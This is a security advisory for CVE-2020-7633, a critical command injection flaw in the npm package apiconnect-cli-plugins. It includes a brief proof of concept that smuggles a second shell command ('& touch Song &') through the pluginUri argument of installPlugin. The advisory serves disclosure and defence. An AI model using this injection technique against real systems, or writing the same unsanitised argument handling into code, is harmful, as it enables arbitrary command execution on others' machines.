GHSA-c9m9-48pw-6mpvCriticalCVSS 9.8

apiconnect-cli-plugins vulnerable to OS Command Injection

Published
May 24, 2021
Last Modified
October 19, 2023

🔗 CVE IDs covered (1)

CVE-2020-7633 →

📋 Description

apiconnect-cli-plugins through 6.0.1 is vulnerable to Command Injection. It allows execution of arbitrary commands via the pluginUri argument.

PoC

var root = require("apiconnect-cli-plugins");
var payload = "& touch Song &";
root.pluginLoader.installPlugin(payload, "");

The injection point is located in line 181 of file lib/plugin-loader.js, in the function installPlugin(pluginUri, registryUri).

🎯 Affected products1

  • npm/apiconnect-cli-plugins:<= 6.0.1

🔗 References (4)